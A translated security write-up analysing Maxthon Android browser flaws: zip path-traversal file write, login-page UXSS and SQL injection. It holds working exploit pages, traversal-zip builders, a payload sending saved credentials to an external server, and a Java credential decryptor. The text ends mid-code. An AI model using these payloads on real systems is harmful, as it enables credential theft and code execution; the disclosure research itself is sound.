傲游浏览器任意文件写入, 代码执行, UXSS, SQL注入分析

原文:Maxthon Browser Arbitrary File Write, Login Page UXSS, and SQL Injection

原作者:Neil Bergman

译:Holic (知道创宇404安全实验室)

来源:

译者测试环境:Maxthon 4.5.6,Android 5.1.1 / Android 4.2.2

前言

Maxthon Browser(傲游浏览器) 又是一个当下比较流行的 Android 浏览器,未使用Android 的 stock 浏览器(AOSP)。我在 Android 版的浏览器中发现了一些有趣的甚至有些严重的漏洞,可能导致远程代码执行和信息泄漏。

漏洞要点

  • 暴露的 JavaScript 接口导致任意文件写入 – 恶意网页可以强制浏览器下载zip文件,浏览器将其放在 SD 卡上,然后通过调用带有 URL 参数的installWebApp方法解压缩。由于缺少对 zip 文件所包含的文件名进行输入验证,攻击者可以制作一个恶意的 zip 文件,造成路径穿越来覆盖浏览器沙盒中的任意文件。这个漏洞能被用来实现远程代码执行,相关内容我将在后面演示。
  • 登录页面暴露的 JavaScript 接口可以进行 UXSS 攻击 – 恶意网页可以通过调用 catchform 方法更改与其他域关联的自动填充登录页面表单数据。使用一些动态构建的 JS 代码,将自动登录信息注入到登录页面,而且浏览器没有正确输出编码数据,因此我们可以利用这一点开展登录页面的 UXSS 攻击。
  • 暴露的 JavaScript 接口允许将 SQL 语句注入到客户端的 SQLite 数据库 – 设计为保存自动填充表单信息的代码也易受 SQL 注入攻击。它可能破坏客户端数据库或者远程提取自动填充表中所有信息,包括保存的登录凭据。虽然我能够找到一些在 Android 应用程序中由 IPC 触发的客户端 SQL 注入漏洞的例子(例如来自Dominic Chell的此类漏洞),和一个由来自 Baidu X-Team WAP 推送触发的客户端 SQL 注入的例子。我目前找不到有关在 Android 平台从 SQLite 远程窃取数据的公开实例。因此,这可能是针对 Android 应用程序的远程客户端 SQL 注入的第一个公开实例,其中可以使用登录页面, UXSS exploit 作为外部通信技术将数据从 SQLite 数据库中窃取出来。如果有其他有趣的例子,请 Ping 我。

JS 接口攻击面

傲游浏览器使用 addJavascriptInterface 方法将多个 Java 对象注入到加载网页的 Webview 中。在旧的设备(系统版本低于4.2)上,可以轻而易举地远程执行代码,参照:gain RCE by abusing reflection(pix)。在新的设备上,我们必须探索与 JS 接口相关的每个暴露的方法,来寻找可能被利用的有趣功能。

这个应用程序的 JS 接口攻击面很大,这使我们的工作变得更简单或者更难,就取决于你如何看待这个问题了。请考虑以下真实情况:所有的 Java 方法都通过 傲游浏览器暴露给网页中不受信任的 JS 代码。

译者注: 我们在逆向 Android 程序的时候,比如此例是浏览器应用,我们可以先在逆向工具中搜索一些敏感的方法/函数,像 jsCall这种会涉及到与 js 交互断点方法,getContent 这种与文件内容有交互的方法等。

在 JEB 中,善用其强大的反编译和搜索功能:

1111

2222

  • com.mx.jsobject.AppcenterLocalImpl
    Methods: jsCall
  • com.mx.browser.navigation.reader.ca
    Methods: getContent
  • com.mx.jsobject.JsObjAppcenter
    Methods: jsCall
  • com.mx.jsobject.JsObjAutoFill
    Methods: catchform, enableAutoFill, getLoginButtonSignatureCodes, getNonLoginButtonSignatureCodes, * getNonUsernameSignatureCodes, getTest, getUsernameSignatureCodes
  • com.mx.jsobject.JsObjGuestSignIn
    Methods: getPostUrl, signin
  • com.mx.jsobject.JsObjMxBrowser
    Methods: addLauncherShortcut, getAndroidId, getChannelId, getCountry, getDeviceId, getDeviceType, * getEncodedDeviceCloudId, getLanguage, getMxLang, getObjectName, getPlatformCode, getSysReleaseVersion, * getVersionCode, getVersionName, installWebApp, isAutoLoadImage, isSupportTimeLine, shareMsgToWXTimeLine, * shareToAll, shareToSinaWeibo, shareToSinaWeibo, shareToWXTimeLine, shareToWeChatTimeLine
  • com.mx.jsobject.JsObjNextPage
    Methods: notifyFoundNextPage
  • com.mx.browser.readmode.JsObjReadDetect
    Methods: notifyReadModeSuccess
  • com.mx.browser.readmode.JsObjReadNext
    Methods: notifyReadModeFail, notifyReadModeSuccess
  • com.mx.jsobject.JsObjShareHelper
    Methods: shareTo
  • com.mx.jsobject.JsTouchIconExtractor
    Methods: onReceivedTouchIcons
  • com.mx.browser.readmode.ReadModeActivity$JsObjReadHtml
    Methods: changeColorMode, getHtml, notifyFontSizeChanged, pageDown
  • com.mx.browser.navigation.reader. RssNewsReaderActivity$ReaderForLocalClientView$JsObjRssReader
    Methods: getAuthor, getContent, getObjectName, getSource, getTime, getTitle, loadImage, openImageBrowser
  • com.mx.browser.navigation.reader. RssNewsReaderActivity$ReaderForPushClientView$JsObjRssReader
    Methods: getAuthor, getContent, getSouce, getTime, getTitle

寻找任意文件写入漏洞

在反编译代码中查看了很多暴露的方法,我看到了一个叫 installWebApp 的方法。

@JavascriptInterface public void installWebApp(String arg4) {
 String v0 = t.a(arg4);
 p.a(arg4, "/sdcard/webapp/" + v0, null);
 u.b("/sdcard/webapp/" + v0);
 d.b().a();
 Toast.makeText(this.mContext, "webapp installed", 1).show();
 }

然后我继续审计由 installWebApp 方法调用的所有方法的反编译代码。

  1. com.mx.c.t 的一个方法是将 URL 转换为文件名。比如,如果你向该方法中提供 http://www.example.org/blah.zip,则它返回 blah.zip。
  2. com.mx.browser.f.p 的 a 方法使用 Apache HttpClient 下载所提供的 URL,然后使用所提供的文件名(/sdcard/webapp/[zip filename])保存该文件。
  3. com.mx.c.u 的 b 方法使用 ZipFileZipEntry解压 SD 卡上的文件,相关类的代码如下所示。注意 zip 没有针对每条文件名的输入验证。
public static void b(String arg8) {
 File v4;
 Object v0_2;
 try {
 File v0_1 = new File(arg8);
 String v1 = arg8.substring(0, arg8.length() - 4);
 new File(v1).mkdir();
 System.out.println(v1 + " created");
 ZipFile v2 = new ZipFile(v0_1);
 Enumeration v3 = v2.entries();
 do {
 label_20:
 if(!v3.hasMoreElements()) {
 return;
 }

v0_2 = v3.nextElement();
 v4 = new File(v1, ((ZipEntry)v0_2).getName());
 v4.getParentFile().mkdirs();
 }
 while(((ZipEntry)v0_2).isDirectory());

System.out.println("Extracting " + v4);
 BufferedInputStream v5 = new BufferedInputStream(v2.getInputStream(((ZipEntry)v0_2)));
 byte[] v0_3 = new byte[1024];
 BufferedOutputStream v4_1 = new BufferedOutputStream(new FileOutputStream(v4), 1024);
 while(true) {
 int v6 = v5.read(v0_3, 0, 1024);
 if(v6 == -1) {
 break;
 }

v4_1.write(v0_3, 0, v6);
 }

v4_1.flush();
 v4_1.close();
 v5.close();
 goto label_20;
 }
 catch(IOException v0) {
 System.out.println("IOError :" + v0);
 }
 }

这时,我停止了逆向这个方法,因为很明显加载到浏览器中的恶意网页可能会使应用程序下载并解压放在攻击者服务器上的 zip 文件。而且由于缺少对 zip 每条文件名的输入验证,我们可以穿越路径来覆盖浏览器可以访问到的任意文件。

利用任意文件写入漏洞第一部分 – 一个简单的 PoC

首先,我们需要使用以下 Python 代码构建恶意 zip 文件。 此处仅供参考,这里假设 /sdcard/ 已经软链接至 /storage/emulated/legacy/ 目录。最后 ,浏览器将 maxFileWriteTest.txt 写入到 /storage/emulated/legacy/webapp/maxFileWriteTest9843/../../../data/data/com.mx.browser/maxFileWriteTest.txt 文件, 相当于/data/data/com.mx.browser/maxFileWriteTest.txt。

import zipfile 
import sys

if __name__ == "__main__": 
 try:
 with open("maxFileWriteTest.txt", "r") as f:
 binary = f.read()
 zipFile = zipfile.ZipFile("maxFileWriteTest9843.zip", "a", zipfile.ZIP_DEFLATED)
 info = zipfile.ZipInfo("maxFileWriteTest9843.zip")
 zipFile.writestr("../../../../../data/data/com.mx.browser/files/maxFileWriteTest.txt", binary)
 zipFile.close()
 except IOError as e:
 raise e

然后我们使用 unzip 命令列出归档文件,以验证是否正确创建了 zip 文件。看起来效果不错。

$ unzip -l maxFileWriteTest9843.zip
Archive: maxFileWriteTest9843.zip 
 Length Date Time Name
 -------- ---- ---- ----
 4 02-11-16 15:38 ../../../../../data/data/com.mx.browser/files/maxFileWriteTest.txt
 -------- -------
 4 1 file

Ok,现在构建的恶意页面,强行让浏览器使用 installWebApp方法下载并解压了我们的文件。

<html> 
<body> 
<script> 
mmbrowser.installWebApp("http://d3adend.org/test/maxFileWriteTest9843.zip"); 
</script> 
</body> 
</html>

当浏览器访问恶意页面时,“webapp” 会自动安装。检查 /data/data/com.mx.browser/files 目录,显然我们可以将任意文件写入浏览器的应用程序目录。对受害者来说,唯一可能会察觉的迹象是一个弹出状态信息,告诉用户 “webapp installed”。

max

—— 文件写入 /data/data/com.mx.browser/files 路径。

寻找登录页面的 UXSS 漏洞

构建这个漏洞页面所需的就是将包含目标 URL,用户名和密码的 JSON payload 传递给 mxautofill 的 catchform 方法,如下面的 HTML 和 JavaScript 代码所示。

<html> 
<body> 
<script> 
var json = '{"documentURI":"https://accounts.google.com/","inputs":[{"id":"username","name":"username","value":"loginxsstest@gmail.com"},{"id":"password","name":"password","value":"fakepassword\'-alert(\'LoginUXSS:\'+document.domain)-\'"}]}'; 
mxautofill.catchform(json); 
</script> 
</body> 
</html>

当用户访问恶意页面时,系统会提示用户“save your account?”,并且用户必须点击 ”Yes“ ,浏览器才回保存自动填充信息。用户授权时会把它当做当前域的自动填充信息,而不是在其他任何域下。

account

—— 受害者被提示”Save your account?“

下次受害者访问 Google 登录页面时,浏览器通过 com.mx.browser.a.e 类中的 WebView 的 loadUrl 方法将以下 JavaScript 插入到页面中。

javascript:mx_form_fill('loginxsstest@gmail.com' , 'fakepassword'-
alert('LoginUXSS:'+document.domain)-'')

然后在 accounts.goolge.com 的页面会显示弹出窗口信息。

img2

—— 我们的 JavaScript 在 Google 的登录页面得以执行

任意文件写入二 —— 覆盖数据库以便不需要用户交互即可触发 UXSS

通常利用登录页面进行 UXSS 需要一些用户交互,因为受害者需要对”save your account?“ 提示弹窗点击 ”Yes“,但是鉴于存在任意文件写入漏洞,我们可以配合漏洞在没有用户交互的情况下施展攻击链,参考以下步骤。

  1. 创建包含多个主流域名的自动填充信息的 SQLite 数据库(mxbrowser_default.db)。同样地,我们将在用户名字段注入我们的 JavaScript 代码。
  2. 创建一个 zip 文件,利用目录穿越来覆盖浏览器的 SQLite 数据库(mxbrowser_default.db)。
  3. 欺骗受害者浏览器浏览到能够触发 installWebApp 方法的恶意页面,这会让受害者的浏览器自动下载并解压缩我们的 zip 文件。此时,受害者的 SQLite 数据库将替换为我们制作的数据库。
  4. 下一次受害者访问其中一个域名的登录页面时,我们的 JavaScript 代码将会注入到页面中。

我仅从我的设备(/data/data/com.mx.browser/databases/mxbrowser_default.db)中提取出相关的 SQLite 数据库,并使用 SQLite 客户端修改了 mxautofill 表。

maxfilewrtloginuxss4325-0

— 在多个域名的用户名字段中包含了 XSS payload 恶意 SQLite 数据库

我们可以使用以下 Python 代码来构建 zip 文件,

import zipfile 
import sys

if __name__ == "__main__": 
 try:
 with open("mxbrowser_default.db", "r") as f:
 binary = f.read()
 zipFile = zipfile.ZipFile("maxFileWriteToLoginUXSS6324.zip", "a", zipfile.ZIP_DEFLATED)
 zipFile.writestr("../../../../../data/data/com.mx.browser/databases/mxbrowser_default.db", binary)
 zipFile.close()
 except IOError as e:
 raise e

然后我们制作调用了 installWebApp 方法的 HTML 页面。

<html> 
<body> 
<script> 
mmbrowser.installWebApp("http://d3adend.org/test/maxFileWriteToLoginUXSS6324.zip"); 
</script> 
</body> 
</html>

此时如果受害者使用傲游浏览器访问恶意页面,那么他们的本地 SQLite 数据库将被我们制作的数据库覆盖,当当受害者访问 Yahoo ,Twitter 或者 Google 登录页面时,我们的 JavaScript 代码将执行。

maxfilewrtloginuxss4325-1

—— 受害者访问恶意网页,并自动安装”webapp“。此时受害者的本地数据库已被覆盖。

maxfilewrtloginuxss4325-2

—— 我们的 JavaScript 代码在 Google 的登录页面再一次执行。

寻找客户端 SQL 注入漏洞

目前为止我们已经使用 catchform 方法来利用 UXSS 漏洞,但是利用暴露的 catchform 方法在 mxbrowser_default 数据库中触发客户端 SQL 注入也是可行的,这可以远程破坏数据库的完整性和机密性。

考虑到下面的代码取自 com.mx.browser.a.f 类。当域的用户名/密码行不存在时,使用参数化的 SQL 语句将数据插入本地数据库。当该域的用户名/密码行已经存在时,使用动态字符串链接构建 UPDATE SQL 语句。恶意网页控制 b 变量(用户名)和 a 变量(host),但不直接控制 c 变量(密码),因为密码是被加密编码过的。

Cursor v1;
 SQLiteDatabase v0 = g.a().d();
 String v2 = "select * from mxautofill where host =?";
 h.f();
 try {
 v1 = v0.rawQuery(v2, new String[]{this.a});
 if(v1.getCount() <= 0) {
 ContentValues v2_1 = new ContentValues();
 v2_1.put("host", this.a);
 v2_1.put("username", this.b);
 v2_1.put("password", this.c);
 v0.insert("mxautofill", null, v2_1);
 }
 else {
 v1.moveToFirst();
 v1.getColumnIndexOrThrow("host");
 v2 = "update mxautofill set username = \'" + this.b + "\',passwrd = \'" + this.c + "\' where host = \'" + this.a + "\'";
 h.f();
 v0.execSQL(v2);
 }
 }

通过 SQL 注入篡改数据库,在所有保存过的域下触发登录页面 UXSS

考虑到我们能够注入的 SQL 语句是一个 UPDATE 语句,作用是更改一个域下的填充信息,可以想到最简单的利用方法便是操纵 UPDATE 语句篡改所有保存的自动填充信息,配合设计好的数据来利用登录页面 UXSS 漏洞。这个漏洞可以让我们在每个受害者常用的登录页面注入 JavaScript(假设受害者使用自动填充功能)。

我构建了以下 HTML 页面,通过调用 catchform 方法来利用 SQL 漏洞。注意我们利用漏洞必须尝试使用浏览器之前存储的信息来自动填充信息,因为 SQL 注入与 UPDATE 语句相关联,而不是最初的 INSERT 语句。因此攻击者可能选择流行的 URL 作为 documentURI 的值。

<html> 
<body> 
<script> 
var json = '{"documentURI":"https://accounts.google.com/","inputs":[{"id":"username","name":"username","value":"loginsqltest@gmail.com\'\'-alert(\'\'SqlTest:\'\'+document.domain)-\'\'\'--"},{"id":"password","name":"password","value":"fakepassword"}]}'; 
mxautofill.catchform(json); 
</script> 
</body> 
</html>

当用户访问恶意页面时,会提示用户“save your account?”,并且用户必须在 SQL 注入漏洞被利用之前点击 “Yes”。

mxsqlcorrupt1-5839

—— 一些用户交互

然后浏览器执行以下 SQL 语句。请注意,我们在用户名字段注入我们的 JavaScript,然后使用 SQL 注入注释掉其它的 SQL 语句,包括 WHERE 子语句,以便将更新限制为只有一行。

update mxautofill set username = 'loginsqltest@gmail.com''-alert(''SqlTest:''+document.domain)-'''-- 
',password = '3tJIh6TbL87pyKZJOCaZag%3D%3D' where host = 'accounts.google.com'

检测设备上的 SQLite 数据库我们看到我们已经成功更新了 mxautofill 表中的所有行。

mxsqlcorrupt3-5839

—— 本地 SQLite 数据库已被篡改

下一次,当受害者访问存储自动填充信息的域名之一的登录页面时,我们的 JavaScript 代码通过 WebView 的 loadUrl 方法执行。

mxsqlcorrupt2-5839

—— 当受害者浏览 Twitter 或者 Google 的登录页面时 ,JS payload 得以触发

使用 SQL 注入和登录页面 UXSS 提取敏感数据

如果我们要从mxautofill表远程提取所有的用户名和加密密码怎么办?我构造了以下 HTML 页面利用 SQL 漏洞实现了目标。基本上,我们将使用内部查询构建一个 JavaScript 字符串,其中包括存储在表中的所有主机,用户名和加密过的密码。然后我们使用登录页面 UXSS 漏洞和 AJAX 从设备窃取信息。

<html> 
<body> 
<script> 
var json = '{"documentURI":"https://accounts.google.com/","inputs":[{"id":"username","name":"username","value":"\'\');var request=new XMLHttpRequest();dataToSteal=\'\'\'||(SELECT GROUP_CONCAT(host||\':\'||username||\':\'||password) from mxautofill)||\'\'\';request.open(\'\'GET\'\',\'\'http://d3adend.org/c.php?c=\'\'+dataToSteal,false);request.send();//\'--"},{"id":"password","name":"password","value":"fakepassword"}]}'; 
mxautofill.catchform(json); 
</script> 
</body> 
</html>

当用户访问恶意页面时,会提示用户“sava your account?”,而且 利用SQL 注入漏洞之前用户必须点击“Yes”。

maxsqlinjectexfil5403-0

—— 点击“Yes”

浏览器接下来会执行以下 SQL 语句。

update mxautofill set username = ''');var request=new XMLHttpRequest();dataToSteal='''||(SELECT 
GROUP_CONCAT(host||':'||username||':'||password) from 
mxautofill)||''';request.open(''GET'',''http://d3adend.org/c.php?c=''+dataToSteal,false);request.send();//'--
',password = '3tJIh6TbL87pyKZJOCaZag%3D%3D' where host = 'accounts.google.com'

mxautofill 表中的所有行都已经在客户端数据库中更新。

maxsqlinjectexfil5403-1

—— 所有记录都均被修改

当受害者访问有自动填充信息的域登录页面时,我们的 JavaScript 代码得以执行。在实际使用过程中, dataToSteal 变量将包含真实的账户凭据。

javascript:mx_form_fill('');var request=new XMLHttpRequest(); 
dataToSteal='acccount_1_hostname:account_1_username:account_1_encrypted_password, 
acccount_2_hostname:account_2_username:account_2_encrypted_password,etc.'; 
request.open('GET','http://d3adend.org/c.php?c='+dataToSteal,false);request.send();//'','fakepassword')

maxsqlinjectexfil5403-2

—— 不可见的漏洞利用得以执行

maxsqlinjectexfil5403-3

—— 域名,用户名和加密的密码通过 AJAX 发送到攻击者控制的服务器。

因此,我们现在有了来自受害者的 mxautofill 表的主机名,用户名和加密密码,但我们需要解密密钥。为了获取加密密钥,我仅使用了一个自定义的 Xposed 模块在两个不同的设备上来 hook 一个与自动填充功能相关的加密方法调用。在两个设备上, Maxthon 使用了相同的硬编码密钥(“eu3o4[r04cml4eir”)进行密码存储。

几个月后,我抱着一丝希望搜索了 “eu3o4[r04cml4eir”,却发现了 Exatel 的一些有趣的关于 windows 版本的 Maxthon 的隐私安全研究。他们的结论是“整个用户的网站浏览历史会到达位于北京的 Maxthon 作者的服务器,还包括所有输入的 Google 搜索记录”。浏览器的桌面版本使用相同的加密密钥加密用户的浏览历史,正如我在 Android 版本所发现的那样。开发者团队在面对用户时并不承认任何错误, CEO 随后发表声明

“Exatel 还报告说,Maxthon 将 URL 发送回其服务器。正如所有 URL 的安全检查工作,Maxthon 的云安全扫描模块(cloud secure)检测用户所访问的网站的安全性。通过执行 URL 安全检测,Maxthon 向其服务器发送 URL 以检测网站是否安全。由于这些安全检查的存在,自2005年以来我们已经阻止了用户访问数百万的虚假网站和恶意网站。在我们的最新版本中,我们将添加一个选项,可供用户关闭扫描模块。”

(原文)

“Exatel also reported that Maxthon sends URLs back to its server. Just as all URL security checks work, Maxthon’s cloud security scanner module (cloud secure) checks the safety of the websites our users visit. By implementing this URL security check, Maxthon sends URLs to its server to check if the website is safe or not. As a result of these security checks, we have prevented our users from visiting millions of fake and malicious websites since 2005. In our latest version, we will add an option for users to turn off the scanner.”

我不确定我相信这个功能实际上实际上是一个“云安全扫描器”,像 CEO 声称,但不管其意图,通过 HTTP 使用硬编码密钥发送加密的浏览器历史纪录可不是个好主意。在 Android 的版本的浏览器中,我还发现了类似的功能在 com.mx.browser.statistics.z 类中。这里需要注意,以下代码将加密的“统计”数据发送到同一个 URL ,并且像 Exatel 的研究中显示的那样使用相同的加密密钥。

final class z extends AsyncTask { 
 z(PlayCampaignReceiver arg1, String arg2) {
 this.b = arg1;
 this.a = arg2;
 super();
 }

private Void a() {
 JSONObject v0 = new JSONObject();
 try {
 v0.put("l", ch.r);
 v0.put("sv", ch.e);
 v0.put("cv", ch.l);
 v0.put("pn", ch.g);
 v0.put("d", ch.e());
 v0.put("pt", "gp_install");
 v0.put("m", "main");
 JSONObject v1 = new JSONObject();
 v1.put("imei", ch.m);
 v1.put("refer", this.a);
 v1.put("aid", ch.n);
 v1.put("model", ch.p);
 v1.put("mac", ch.u);
 v0.put("data", v1);
 new StringBuilder("before = ").append(v0).toString();
 String v0_3 = Uri.encode(new String(Base64.encode(a.a(v0.toString(), "eu3o4[r04cml4eir"), 2), "UTF-8"));
 new StringBuilder("after urlencode =").append(v0_3).toString();
 y v1_1 = new y();
 v0_3 = "http://g.dcs.maxthon.com/mx4/enc?keyid=default&data=" + v0_3;
 new StringBuilder("url=").append(v0_3).append(";response = ").append(v1_1.a(v0_3, 3).getStatusLine().getStatusCode()).toString();
 }

反正已经跑题了。那就干脆把通过客户端 SQL 注入和登陆页面 UXSS 漏洞获取的密码给破解了吧。在写出加密算法,加密模式和密钥之后,我写了以下简单的 Java 程序。

import java.util.Base64; 
import javax.crypto.Cipher; 
import javax.crypto.spec.SecretKeySpec;

public class MaxDecrypt { 
 public static void main(String[] args) throws Exception {
 String rawUserDataArg = args[0];
 System.out.println("");
 if(rawUserDataArg != null) {
 String[] rawUserDataArray = rawUserDataArg.split(",");
 for(String rawUserData : rawUserDataArray) {
 String host = rawUserData.split(":")[0];
 String username = rawUserData.split(":")[1];
 String encryptedPassword = rawUserData.split(":")[2];
 String decryptedPassword = decrypt(encryptedPassword);

System.out.println("====================================");
 System.out.println("Host: " + host);
 System.out.println("Username: " + username);
 System.out.println("Password: " + decryptedPassword);
 }
 System.out.println("====================================");
 }
 }

public static String decrypt(String ciphertext) throws Exception {
 SecretKeySpec sks = new SecretKeySpec("eu3o4[r04cml4eir".getBytes("UTF-8"), "AES");
 Cipher cipher = Cipher.getInstance("AES/ECB/NoPadding");
 Base64.Decoder decoder = Base64.getDecoder();
 byte[] ciphertextBytes = decoder.decode(ciphertext);
 cipher.init(Cipher.DECRYPT_MODE, sks);
 byte[] plaintextBytes = cipher.doFinal(ciphertextBytes);
 return new String(plaintextBytes);
 }
}

maxsqlinjectexfil5403-4

—— 解密获取到的凭据

任意文件写入漏洞 – 越过远程执行代码的障碍

一般来说,在 Android 操作系统中,非特权应用的任意文件写入漏洞很难变成远程代码执行。

  1. 应用程序主要 dex 代码,或 OAT 进程的输出由系统用户所有,因此在正常情况下不应该覆盖此代码。
  2. 应用程序的存储 ELF 共享对象的 lib 目录,实际上是一个链接到所有者为系统用户目录,所以正常情况下不太可能覆盖这些代码。

话虽如此,在很多情况下,任意文件写入漏洞可以很容易地变成远程代码执行漏洞。

  1. 目标应用程序通过 DexClassLoader 类执行动态类加载,并且可以覆盖存储的dex代码。
  2. 目标应用程序不正确存储其ELF共享对象文件,使得这些文件不属于系统用户。
    Jake Van Dykerotlogix 都提到了 SO 全局可写的应用范例,这允许根据情况进行本地或远程利用。
  3. 目标应用程序以 系统用户权限运行
  4. 目标应用程序是 multidex 应用,且不在使用 ART 运行环境的设备上运行。

我最初确定这些漏洞时我不相信这些条件有那条成立,但几个月后,当一个较新版本的发布时,我注意到一些新的软件包被添加到代码库,包括 com.igexin.。这显然是一个被赛门铁克标记为不需要的应用程序的广告库,其绑定了一些会收集用户信息的 Android 应用,而且应用会把这些信息发送到服务器。事实证明,这个广告使用了 DexClassLoader 类执行加密代码的动态库加载,所以我们可以利用这个功能,通过任意文件写入漏洞来实现远程代码执行。

在新版本的浏览器中,我注意到 /data/data/com.mx.browser/files 目录中看起来很奇怪的新文件,如 tdata_qiz011,tdata_qiz011.dex,tdata_rqS304和 tdata_rqS304.dex。 注意虽然文件名看起来貌似随机生成,在多个设备上安装应用程序后,我注意到文件名不是根据设备特定生成的。

dexfile0

—— 包含优化 dex 文件的可疑文件

dexfile1

—— 未知的文件格式和优化的 dex 文件

我决定调查 tdata_rqS304 里面有什么东西。我怀疑这是一个加密的 JAR/APK 文件,但我不确定。

dexfile2

—— 加密过的 APK/JAR ?

执行动态类加载的代码位于 com.igexin.push.extension.a 类中。代码似乎加载了一个文件,比如 tdata_rqS04 ,解密到一个 JAR 文件,如 tdata_reS304.jar ,从 JAR 文件中加载一个类,创建一个类的实例(调用构造函数),然后删除原 JAR 文件(使其逆向工程中隐藏)。我猜测 com.igexin.a.a.a.a.a 是解密方法。

public boolean a(Context arg10, String arg11, String arg12, String arg13, String arg14) {
 Class v0_1;
 File v2 = new File(arg11);
 File v3 = new File(arg11 + ".jar");
 File v4 = new File(arg10.getFilesDir().getAbsolutePath() + "/" + arg14 + ".dex");
 this.a(v2, v3, arg13);

if(v3.exists()) {
 try {
 DexClassLoader v2_1 = new DexClassLoader(v3.getAbsolutePath(), arg10.getFilesDir().getAbsolutePath(), null, arg10.getClassLoader());
 try {
 v0_1 = v2_1.loadClass(arg12);
 }
 catch(Exception v2_2) {
 }
 }
 catch(Throwable v0) {
 goto label_74;
 }

try {
 v3.delete();
 v4.exists();
 if(v0_1 == null) {
 boolean v0_2 = false;
 return v0_2;
 }

Object v0_3 = v0_1.newInstance();
...
 public void a(File arg10, File arg11, String arg12) {
 BufferedOutputStream v1_5;
 Throwable v8;
 int v1_1;
 FileInputStream v2;
 BufferedOutputStream v0_2;
 FileOutputStream v2_1;
 FileInputStream v3;
 FileOutputStream v1 = null;
 try {
 v3 = new FileInputStream(arg10);
 }
 catch(Throwable v0) {
 v2_1 = v1;
 v3 = ((FileInputStream)v1);
 goto label_45;
 }
 catch(Exception v0_1) {
 v0_2 = ((BufferedOutputStream)v1);
 v2 = ((FileInputStream)v1);
 goto label_22;
 }

try {
 v2_1 = new FileOutputStream(arg11);
 }
 catch(Throwable v0) {
 v2_1 = v1;
 goto label_45;
 }
 catch(Exception v0_1) {
 v0_2 = ((BufferedOutputStream)v1);
 v2 = v3;
 goto label_22;
 }

try {
 v0_2 = new BufferedOutputStream(((OutputStream)v2_1));
 v1_1 = 1024;
 }
 catch(Throwable v0) {
 goto label_45;
 }
 catch(Exception v0_1) {
 v0_2 = ((BufferedOutputStream)v1_1);
 v1 = v2_1;
 v2 = v3;
 goto label_22;
 }

try {
 byte[] v1_4 = new byte[v1_1];
 while(true) {
 int v4 = v3.read(v1_4);
 if(v4 == -1) {
 break;
 }

byte[] v5 = new byte[v4];
 System.arraycopy(v1_4, 0, v5, 0, v4);
 v0_2.write(com.igexin.a.a.a.a.a(v5, arg12));
 }

com.igenxin.a.a.a.a 类使用本地加密算法执行解密。输入验证至关重要(”key is fail!”)。

package com.igexin.a.a.a;

public class a { 
 public static void a(int[] arg2, int arg3, int arg4) {
 int v0 = arg2[arg3];
 arg2[arg3] = arg2[arg4];
 arg2[arg4] = v0;
 }

public static boolean a(byte[] arg6) {
 boolean v0_1;
 int v3 = arg6.length;
 if(v3 256) {
 v0_1 = false;
 }
 else {
 int v2 = 0;
 int v0 = 0;
 while(v2 3) {
 v0_1 = false;
 return v0_1;
 }
 }

++v2;
 }

v0_1 = true;
 }

return v0_1;
 }

public static byte[] a(byte[] arg1, String arg2) {
 return a.a(arg1, arg2.getBytes());
 }

public static byte[] a(byte[] arg7, byte[] arg8) {
 int v1 = 0;
 if(!a.a(arg8)) {
 throw new IllegalArgumentException("key is fail!");
 }

if(arg7.length <= 0) {
 throw new IllegalArgumentException("data is fail!");
 }

int[] v3 = new int[256];
 int v0;
 for(v0 = 0; v0 < v3.length; ++v0) {
 v3[v0] = v0;
 }

v0 = 0;
 int v2 = 0;
 while(v0 < v3.length) {
 v2 = (v2 + v3[v0] + (arg8[v0 % arg8.length] & 255)) % 256;
 a.a(v3, v0, v2);
 ++v0;
 }

byte[] v4 = new byte[arg7.length];
 v0 = 0;
 v2 = 0;
 while(v1 < v4.length) {
 v0 = (v0 + 1) % 256;
 v2 = (v2 + v3[v0]) % 256;
 a.a(v3, v0, v2);
 v4[v1] = ((byte)(v3[(v3[v0] + v3[v2]) % 256] ^ arg7[v1]));
 ++v1;
 }

return v4;
 }

public static byte[] b(byte[] arg1, String arg2) {
 return a.a(arg1, arg2.getBytes());
 }
}

所以现在我们知道如何揭秘 JAR 文件了,但是我们需要知道加密密钥。我又通过 Xposed 使用了模块动态分析来却id那个每个文件使用了哪个加密密钥以及加载了哪个类。以下是我从 tdata_rqS304 文件中获取到的信息。我还在不同设备验证了加密密钥不是针对特定设备的。例如,加密库使用“5f8286ee3424bed2b71f66d996b247b8”作为密钥来解密 tdata_rqS304 文件。

Method Caller: com.igexin.push.extension.a@420bfd48 
Argument Types: com.igexin.sdk.PushService, java.lang.String, java.lang.String, java.lang.String, java.lang.String 
Argument 0: com.igexin.sdk.PushService@420435b8 
Argument 1: /data/data/com.mx.browser/files/tdata_rqS304 
Argument 2: com.igexin.push.extension.distribution.basic.stub.PushExtension 
Argument 3: 5f8286ee3424bed2b71f66d996b247b8 
Argument 4: tdata_rqS304

现在我们用于了解密文件并检查 JAR 文件的所有信息。以下 Java 程序将揭秘 tdata_rqS304 文件。

import java.util.Base64; 
import javax.crypto.Cipher; 
import javax.crypto.spec.SecretKeySpec; 
import java.io.*;

public class MaxDexDecrypt { 
 public static void main(String[] args) throws Exception {
 String ciphertextFilename = "tdata_rqS304";
 String plaintextFilename = "tdata_rqS304.jar";
 String keyString = "5f8286ee3424bed2b71f66d996b247b8";

File ciphertextFile = new File(ciphertextFilename);
 File plaintextFile = new File(plaintextFilename);
 decryptFile(ciphertextFile, plaintextFile, keyString);
 }

public static void decryptFile(File ciphertextFile, File plaintextFile, String keyString) {
 BufferedOutputStream v1_5;
 Throwable v8;
 int v1_1;
 FileInputStream v2;
 BufferedOutputStream v0_2;
 FileOutputStream v2_1;
 FileInputStream v3;
 FileOutputStream v1 = null;
 try {
 v3 = new FileInputStream(ciphertextFile);
 v2_1 = new FileOutputStream(plaintextFile);
 v0_2 = new BufferedOutputStream(((OutputStream)v2_1));
 v1_1 = 1024;
 byte[] v1_4 = new byte[v1_1];
 while(true) {
 int v4 = v3.read(v1_4);
 if(v4 == -1) {
 break;
 }
 byte[] v5 = new byte[v4];
 System.arraycopy(v1_4, 0, v5, 0, v4);
 v0_2.write(decrypt(v5, keyString));
 }
 v3.close();
 v0_2.flush();
 v0_2.close();
 v2_1.close();
 v3.close();
 v0_2.close();
 v2_1.close();
 }
 catch(Exception v0_1) {
 }
 }

public static void junk(int[] arg2, int arg3, int arg4) {
 int v0 = arg2[arg3];
 arg2[arg3] = arg2[arg4];
 arg2[arg4] = v0;
 }

public static byte[] decrypt(byte[] ciphertextBytes, String keyString) {
 return decrypt(ciphertextBytes, keyString.getBytes());
 }

public static byte[] decrypt(byte[] ciphertextBytes, byte[] keyBytes) {
 int v1 = 0;
 int[] v3 = new int[256];
 int v0;
